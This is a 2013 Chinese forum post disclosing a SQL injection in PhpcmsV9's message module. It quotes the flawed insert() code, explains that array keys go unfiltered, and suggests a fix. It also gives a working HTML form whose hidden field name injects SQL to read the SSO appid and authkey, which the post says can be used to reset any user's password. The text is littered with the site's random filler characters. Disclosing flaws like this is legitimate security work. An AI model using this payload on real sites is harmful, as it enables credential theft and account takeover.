找回密码
 立即注册
查看: 2827|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:
! P) b. x# ]0 c2 K, W% k, j( o* I* x) p2 E: ^2 ~0 l! K3 K
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。: g* \+ n# t4 U7 f
% L. r: G* O0 Q- d0 U% I$ j
明天再更新下一个漏洞。
$ s( e- Y3 p( n0 K6 L5 q, `详细说明:& s1 s1 |- @) S0 n
在/phpcms9/phpcms/modules/message/index.php中有代码如下:
( ?. W& ^3 b( Y$ ?7 Y
: @4 W5 N0 P2 q$messageid = $this->message_db->insert($_POST['info'],true);& x+ r3 W( ^0 X$ @) L
3 ?  x  N0 I2 S$ q8 J
% K/ e' Z7 Y; B
insert方法是key value的,代码如下:$ r5 g& c! _+ z. ], ]. b; Q
7 E% L! b( c! o! d
public function insert($data, $table, $return_insert_id = false, $replace = false) {3 z5 O" X3 L) B- b: _; Q1 a
                if(!is_array( $data ) || $table == '' || count($data) == 0) {
8 d: B  y+ g3 ]4 U                        return false;" t6 F* U7 p4 x( |- ]
                }
, T8 K) h- y4 p- M0 O& h* W0 j0 D                7 `7 `5 m# }8 Y6 Q; L- N/ W
                $fielddata = array_keys($data);
+ \2 h2 C- p3 ?# K  B8 K* q1 B; t- \                $valuedata = array_values($data);- b3 a9 H/ b6 B
                array_walk($fielddata, array($this, 'add_special_char'));
' m! g! x' }  `4 ]: I+ e                array_walk($valuedata, array($this, 'escape_string'));5 D/ L# w, a! l
               
9 r5 E; b2 d% `8 S) k9 d- W8 p                $field = implode (',', $fielddata);
$ A# d9 ^. r* l+ j7 v" ^                $value = implode (',', $valuedata);2 ?! R! K5 D1 D# ~, X, V+ `

1 S5 R1 a  F2 |& G( E2 k! M; @                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
8 K4 i2 X8 A$ x( v, M* p                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';* W  S, O: V/ p6 q6 u  l9 M
                $return = $this->execute($sql);
5 k5 z- T+ _1 @" r" U& m                return $return_insert_id ? $this->insert_id() : $return;
% `# T; d* W+ a1 S/ k        }
9 T& U; {9 J5 Y% W- _5 ]6 ?7 u4 s! t; V( p) l4 o
3 ]8 |% B# O9 f0 I; B/ a3 s
嗯,很遗憾的是
$ B( ^1 v, q/ @4 \+ \. j& T' F/ l. J1 O- Z* ~
array_walk($fielddata, array($this, 'add_special_char'));
3 x! t6 l# M  l. p, R
0 T  ^  Y: I# ?+ A" K2 w' U% ^6 G, u. m3 V6 v% q
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。4 u/ g; y# d1 l9 Q8 u& x

1 R: j# k) C  @: Y1 J+ f' ~到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。5 d2 r! I1 |: K

, i* z( G9 S% F( s漏洞证明:/ H; Q! ?: a3 F# ?5 s! U% ~& ^- T3 d
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。: h6 x# w- ]6 |, U' D! P8 ]# ~
3 W- B; x1 i9 a* g+ m

2 Z, M3 F( t' b* }* Q表单如下:用户名什么的得自己改一改。1 S0 M/ r' H0 {
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">( N) Q& [' G3 q7 Q( H5 U+ F
<table width="100%" cellspacing="0" class="table_form"># K; J% _- f' D# l9 a9 I( v
<tr>. A- z* `! q9 b- J! j
<th>标 题:</th>
7 |' r" q. Y7 |' g# J<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>
5 U+ Z2 K2 E. Z7 [/ T9 x</tr>
, m* b5 S" i6 G  \# I! z<tr>& }9 ]' l# j8 g, }0 y5 U  e% y. X
<th>内 容:</th>1 w6 d& t3 h) ^  C
<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
: T( S9 c6 \  S0 r</tr>8 y9 W$ ?4 {: ^9 ?& q! E
<input type="hidden" name="info[replyid]" value="2" />
( V! }: b5 i! c; l<input type="hidden" name="info[send_to_id]" value="cc" />
8 x( }4 }8 C& a4 _' [$ D7 t! l<input type="hidden" name="info[send_from_id]" value="hh">
( W9 E( g& W# [& I8 t<!-- 漏洞的利用重点在这里开始 -->
5 ^& F7 w0 T1 ~& v, \! L5 y<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> * K0 u% A- f, w  A
<!-- 漏洞的利用重点在这里结束 -->
  b) _* F, ~' v$ K<tr>! Q/ Z* l3 i) p3 |/ b* U' n
<th>验证码:</th>( F) p1 U3 U) T5 Q
<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>, c2 z  _2 h% C8 o( j, Y
</tr>
. p1 W1 M* K- L. t2 w  ~<tr># N+ |* T/ \0 D4 A
<td></td>
( S) X. u# h" R9 E<td colspan="2"><label>
9 B4 e, t+ E+ P<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
8 u: E+ C* c) J</label></td>
5 ]# R6 v$ t" f$ O( s! F</tr>  P) W/ h8 m0 `3 e
</table>) O5 n! K1 N; v& _: k% y% y. R
</form>
4 g4 Y( m( c: W5 p% J在add_special_char函数内对key做过滤就可以了。& N9 @4 {1 z7 i0 P

6 ?  A- T# Y+ [5 s2 k! H# M- s# c9 M* X; J% ~& l5 a/ u5 O

4 b: m# k! a2 O! A* M3 ?" d2 o

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表